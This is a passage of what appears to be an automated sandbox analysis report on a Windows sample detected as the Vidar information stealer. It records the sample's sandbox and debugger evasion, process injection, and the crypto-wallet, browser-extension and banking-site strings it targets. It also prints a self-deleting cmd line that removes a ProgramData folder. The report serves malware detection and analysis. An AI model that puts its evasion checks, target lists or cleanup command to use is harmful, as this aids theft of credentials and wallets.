Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: aD7D9fkpII.exe	Binary or memory string: DIR_WATCH.DLL
Source: aD7D9fkpII.exe	Binary or memory string: SBIEDLL.DLL
Source: aD7D9fkpII.exe, 00000005.00000002.2770513290.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: %HSWPESPY.DLLAVGHOOKX.DLLSBIEDLL.DLLSNXHK.DLLVMCHECK.DLLDIR_WATCH.DLLAPI_LOG.DLLPSTOREC.DLLAVGHOOKA.DLLCMDVRT64.DLLCMDVRT32.DLLIMAGE/JPEGCHAININGMODEAESCHAININGMODEGCMABCDEFGHIJKLMNOPQRSTUVWXYZABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=UNKNOWN EXCEPTIONBAD ALLOCATION
Source: aD7D9fkpII.exe	Binary or memory string: API_LOG.DLL

Source: C:\Users\user\Desktop\aD7D9fkpII.exe

Decision node followed by non-executed suspicious API: DecisionNode, Non Executed (send or recv or WinExec)

graph_5-14398

Source: C:\Users\user\Desktop\aD7D9fkpII.exe

Evasive API call chain: GetSystemTimeAsFileTime,DecisionNodes

graph_0-20726

Source: C:\Windows\SysWOW64\timeout.exe TID: 8456

Thread sleep count: 88 > 30

Source: C:\Users\user\Desktop\aD7D9fkpII.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\Desktop\aD7D9fkpII.exe	Code function: 0_2_008963B5 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	0_2_008963B5
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	Code function: 0_2_00896304 FindFirstFileExW,	0_2_00896304
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	Code function: 2_2_008963B5 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	2_2_008963B5
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	Code function: 2_2_00896304 FindFirstFileExW,	2_2_00896304
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	Code function: 5_2_00409460 FindFirstFileA,CopyFileA,FindNextFileA,strlen,memcmp,??3@YAXPAX@Z,??3@YAXPAX@Z,	5_2_00409460
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	Code function: 5_2_004170D0 SHGetFolderPathA,wsprintfA,FindFirstFileA,FindNextFileA,FindNextFileA,FindNextFileA,strcpy,_splitpath,strcpy,strlen,isupper,wsprintfA,strcpy,strlen,SHFileOperationA,FindClose,	5_2_004170D0
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	Code function: 5_2_00401730 FindFirstFileA,strlen,memcmp,strlen,memcmp,??3@YAXPAX@Z,??3@YAXPAX@Z,_invalid_parameter_noinfo_noreturn,	5_2_00401730
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	Code function: 5_2_0040A5D0 FindFirstFileA,FindNextFileA,strlen,memcmp,??3@YAXPAX@Z,??3@YAXPAX@Z,StrCmpCA,StrCmpCA,	5_2_0040A5D0
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	Code function: 5_2_00414BD0 FindFirstFileA,strlen,memcmp,strlen,memcmp,??3@YAXPAX@Z,??3@YAXPAX@Z,_invalid_parameter_noinfo_noreturn,RegOpenKeyExA,	5_2_00414BD0
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	Code function: 5_2_00406FE0 FindFirstFileA,??3@YAXPAX@Z,_invalid_parameter_noinfo_noreturn,	5_2_00406FE0
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	Code function: 5_2_00413FF0 FindFirstFileA,memset,memset,FindNextFileA,strlen,memcmp,strlen,memcmp,??3@YAXPAX@Z,??3@YAXPAX@Z,memset,strtok_s,memset,strtok_s,DeleteFileA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,_invalid_parameter_noinfo_noreturn,GetLogicalDriveStringsA,memset,GetDriveTypeA,lstrcpyA,lstrcpyA,lstrlenA,	5_2_00413FF0
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	Code function: 5_2_0040C790 FindFirstFileA,FindNextFileA,strlen,memcmp,strlen,memcmp,??3@YAXPAX@Z,??3@YAXPAX@Z,CopyFileA,DeleteFileA,_invalid_parameter_noinfo_noreturn,	5_2_0040C790
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	Code function: 5_2_004081B0 ExpandEnvironmentStringsA,FindFirstFileA,FindNextFileA,strlen,memcmp,strlen,memcmp,??3@YAXPAX@Z,??3@YAXPAX@Z,StrCmpCA,Sleep,CopyFileA,memset,CopyFileA,DeleteFileA,memset,_invalid_parameter_noinfo_noreturn,	5_2_004081B0

Source: C:\Users\user\Desktop\aD7D9fkpII.exe

5_2_00413FF0

Source: C:\Users\user\Desktop\aD7D9fkpII.exe

Code function: 5_2_00410BA0 GetSystemInfo,

5_2_00410BA0

Source: C:\Users\user\Desktop\aD7D9fkpII.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: Amcache.hve.8.dr	Binary or memory string: VMware
Source: 47GLNG.5.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: 47GLNG.5.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: 47GLNG.5.dr	Binary or memory string: global block list test formVMware20,11696428655
Source: Amcache.hve.8.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: aD7D9fkpII.exe, 00000005.00000002.2772700161.0000000001571000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: 47GLNG.5.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: Amcache.hve.8.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: 47GLNG.5.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: Amcache.hve.8.dr	Binary or memory string: vmci.sys
Source: 47GLNG.5.dr	Binary or memory string: AMC password management pageVMware20,11696428655
Source: 47GLNG.5.dr	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: 47GLNG.5.dr	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: 47GLNG.5.dr	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: 47GLNG.5.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: Amcache.hve.8.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.8.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.8.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.8.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: 47GLNG.5.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: Amcache.hve.8.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.8.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.8.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.8.dr	Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.8.dr	Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.8.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: 47GLNG.5.dr	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: 47GLNG.5.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655
Source: Amcache.hve.8.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563
Source: 47GLNG.5.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: Amcache.hve.8.dr	Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.8.dr	Binary or memory string: vmci.syshbin
Source: Amcache.hve.8.dr	Binary or memory string: VMware, Inc.
Source: 47GLNG.5.dr	Binary or memory string: discord.comVMware20,11696428655f
Source: Amcache.hve.8.dr	Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.8.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.8.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: 47GLNG.5.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: Amcache.hve.8.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: msedge.exe, 0000000F.00000003.2389307282.000008C4002B0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware20,1(
Source: 47GLNG.5.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: 47GLNG.5.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: 47GLNG.5.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: 47GLNG.5.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: Amcache.hve.8.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: 47GLNG.5.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: 47GLNG.5.dr	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: 47GLNG.5.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: Amcache.hve.8.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: chrome.exe, 0000000B.00000002.2319420564.000002B31013D000.00000004.00000020.00020000.00000000.sdmp, msedge.exe, 0000000F.00000002.2455518093.0000020721E45000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: chrome.exe, 0000000B.00000002.2324994448.00001E9000730000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: USB device added: path=\\?\usb#vid_0e0f&pid_0003#5&2dda038&0&5#{a5dcbf10-6530-11d2-901f-00c04fb951ed} vendor=3599 "VMware", product=3 "VMware Virtual USB Mouse", serial="", driver="usbccgp", guid=ef5e9e45-9d99-4bdc-8793-7b4e68432271
Source: 47GLNG.5.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: 47GLNG.5.dr	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: 47GLNG.5.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: 47GLNG.5.dr	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: chrome.exe, 0000000B.00000002.2321068387.000002B317CA0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: War&Prod_VMware_0
Source: aD7D9fkpII.exe, 00000005.00000002.2772700161.0000000001518000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWX
Source: Amcache.hve.8.dr	Binary or memory string: VMware-56 4d 43 71 48 15 3d ed-ae e6 c7 5a ec d9 3b f0
Source: Amcache.hve.8.dr	Binary or memory string: vmci.syshbin`
Source: 47GLNG.5.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: Amcache.hve.8.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: 47GLNG.5.dr	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: Amcache.hve.8.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: 47GLNG.5.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: Amcache.hve.8.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: 47GLNG.5.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h

Source: C:\Users\user\Desktop\aD7D9fkpII.exe	API call chain: ExitProcess graph end node			graph_5-13122
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	API call chain: ExitProcess graph end node			graph_5-13124

Source: C:\Users\user\Desktop\aD7D9fkpII.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\aD7D9fkpII.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Users\user\Desktop\aD7D9fkpII.exe

Code function: 0_2_00884073 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_00884073

Source: C:\Users\user\Desktop\aD7D9fkpII.exe	Code function: 0_2_008AC19E mov edi, dword ptr fs:[00000030h]	0_2_008AC19E
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	Code function: 0_2_008716A0 mov edi, dword ptr fs:[00000030h]	0_2_008716A0
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	Code function: 2_2_008716A0 mov edi, dword ptr fs:[00000030h]	2_2_008716A0
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	Code function: 5_2_004011F0 mov eax, dword ptr fs:[00000030h]	5_2_004011F0
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	Code function: 5_2_004011F0 mov eax, dword ptr fs:[00000030h]	5_2_004011F0
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	Code function: 5_2_004011F0 mov eax, dword ptr fs:[00000030h]	5_2_004011F0
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	Code function: 5_2_004011F0 mov eax, dword ptr fs:[00000030h]	5_2_004011F0
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	Code function: 5_2_004011F0 mov eax, dword ptr fs:[00000030h]	5_2_004011F0
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	Code function: 5_2_004011F0 mov eax, dword ptr fs:[00000030h]	5_2_004011F0
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	Code function: 5_2_00401170 mov eax, dword ptr fs:[00000030h]	5_2_00401170
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	Code function: 5_2_00401190 test dword ptr fs:[00000030h], 00000068h	5_2_00401190
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	Code function: 5_2_004011B0 mov eax, dword ptr fs:[00000030h]	5_2_004011B0

Source: C:\Users\user\Desktop\aD7D9fkpII.exe

Code function: 0_2_00891DBC GetProcessHeap,

0_2_00891DBC

Source: C:\Users\user\Desktop\aD7D9fkpII.exe	Code function: 0_2_00884067 SetUnhandledExceptionFilter,	0_2_00884067
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	Code function: 0_2_00884073 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00884073
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	Code function: 0_2_00883CB7 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00883CB7
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	Code function: 0_2_0088CDB0 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_0088CDB0
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	Code function: 2_2_00884067 SetUnhandledExceptionFilter,	2_2_00884067
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	Code function: 2_2_00884073 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_00884073
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	Code function: 2_2_00883CB7 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	2_2_00883CB7
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	Code function: 2_2_0088CDB0 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_0088CDB0

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: Process Memory Space: aD7D9fkpII.exe PID: 6408, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: aD7D9fkpII.exe PID: 6584, type: MEMORYSTR

Contains functionality to inject code into remote processes

Source: C:\Users\user\Desktop\aD7D9fkpII.exe

Code function: 0_2_008AC19E GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,CreateProcessW,CreateProcessW,VirtualAlloc,VirtualAlloc,GetThreadContext,Wow64GetThreadContext,ReadProcessMemory,ReadProcessMemory,VirtualAllocEx,VirtualAllocEx,GetProcAddress,TerminateProcess,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,SetThreadContext,Wow64SetThreadContext,ResumeThread,ResumeThread,

0_2_008AC19E

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\aD7D9fkpII.exe

Memory written: C:\Users\user\Desktop\aD7D9fkpII.exe base: 400000 value starts with: 4D5A

Jump to behavior

Source: C:\Users\user\Desktop\aD7D9fkpII.exe	Process created: C:\Users\user\Desktop\aD7D9fkpII.exe "C:\Users\user\Desktop\aD7D9fkpII.exe"	Jump to behavior
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	Process created: C:\Users\user\Desktop\aD7D9fkpII.exe "C:\Users\user\Desktop\aD7D9fkpII.exe"	Jump to behavior
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	Process created: C:\Users\user\Desktop\aD7D9fkpII.exe "C:\Users\user\Desktop\aD7D9fkpII.exe"	Jump to behavior
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c timeout /t 10 & rd /s /q "C:\ProgramData\TRQ9ZCBA1N7Q" & exit	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 10

Source: C:\Users\user\Desktop\aD7D9fkpII.exe	Code function: GetLocaleInfoW,	0_2_008911AC
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	Code function: EnumSystemLocalesW,	0_2_008916A7
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	0_2_0089566E
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	Code function: EnumSystemLocalesW,	0_2_008958BF
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	0_2_0089595A
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	Code function: EnumSystemLocalesW,	0_2_00895BAD
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	Code function: EnumSystemLocalesW,	0_2_00895CE1
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	Code function: GetLocaleInfoW,	0_2_00895C0C
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	0_2_00895DD3
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	Code function: GetLocaleInfoW,	0_2_00895D2C
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	Code function: GetLocaleInfoW,	0_2_00895ED9
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	Code function: GetLocaleInfoW,	2_2_008911AC
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	Code function: EnumSystemLocalesW,	2_2_008916A7
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	2_2_0089566E
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	Code function: EnumSystemLocalesW,	2_2_008958BF
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	2_2_0089595A
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	Code function: EnumSystemLocalesW,	2_2_00895BAD
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	Code function: EnumSystemLocalesW,	2_2_00895CE1
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	Code function: GetLocaleInfoW,	2_2_00895C0C
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	2_2_00895DD3
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	Code function: GetLocaleInfoW,	2_2_00895D2C
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	Code function: GetLocaleInfoW,	2_2_00895ED9
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	Code function: GetLocaleInfoA,	5_2_004109F0

Source: C:\Users\user\Desktop\aD7D9fkpII.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\aD7D9fkpII.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior

Source: C:\Users\user\Desktop\aD7D9fkpII.exe

Code function: 0_2_008847EF GetSystemTimePreciseAsFileTime,GetSystemTimePreciseAsFileTime,GetSystemTimeAsFileTime,

0_2_008847EF

Source: C:\Users\user\Desktop\aD7D9fkpII.exe

Code function: 5_2_004108B0 GetProcessHeap,HeapAlloc,GetUserNameA,

5_2_004108B0

Source: C:\Users\user\Desktop\aD7D9fkpII.exe

Code function: 5_2_00410990 GetTimeZoneInformation,

5_2_00410990

Source: C:\Users\user\Desktop\aD7D9fkpII.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: Amcache.hve.8.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.8.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.8.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Amcache.hve.8.dr	Binary or memory string: MsMpEng.exe

Stealing of Sensitive Information

Yara detected Vidar stealer

Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: 5.2.aD7D9fkpII.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.aD7D9fkpII.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2333287730.0000000000B9E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2770513290.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: aD7D9fkpII.exe PID: 6408, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: aD7D9fkpII.exe PID: 6584, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: aD7D9fkpII.exe	String found in binary or memory: \Electrum\wallets\
Source: aD7D9fkpII.exe	String found in binary or memory: \ElectronCash\wallets\
Source: aD7D9fkpII.exe	String found in binary or memory: \Electrum\wallets\
Source: aD7D9fkpII.exe	String found in binary or memory: window-state.json
Source: aD7D9fkpII.exe	String found in binary or memory: exodus.conf.json
Source: aD7D9fkpII.exe	String found in binary or memory: \Exodus\exodus.wallet\
Source: aD7D9fkpII.exe	String found in binary or memory: info.seco
Source: aD7D9fkpII.exe	String found in binary or memory: ElectrumLTC
Source: aD7D9fkpII.exe	String found in binary or memory: passphrase.json
Source: aD7D9fkpII.exe	String found in binary or memory: \Ethereum\
Source: aD7D9fkpII.exe	String found in binary or memory: \Exodus\exodus.wallet\
Source: aD7D9fkpII.exe	String found in binary or memory: \Ethereum\
Source: aD7D9fkpII.exe	String found in binary or memory: \Coinomi\Coinomi\wallets\
Source: aD7D9fkpII.exe	String found in binary or memory: \Exodus\exodus.wallet\
Source: aD7D9fkpII.exe	String found in binary or memory: multidoge.wallet
Source: aD7D9fkpII.exe	String found in binary or memory: seed.seco
Source: aD7D9fkpII.exe	String found in binary or memory: keystore
Source: aD7D9fkpII.exe	String found in binary or memory: \Electrum-LTC\wallets\

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\aD7D9fkpII.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

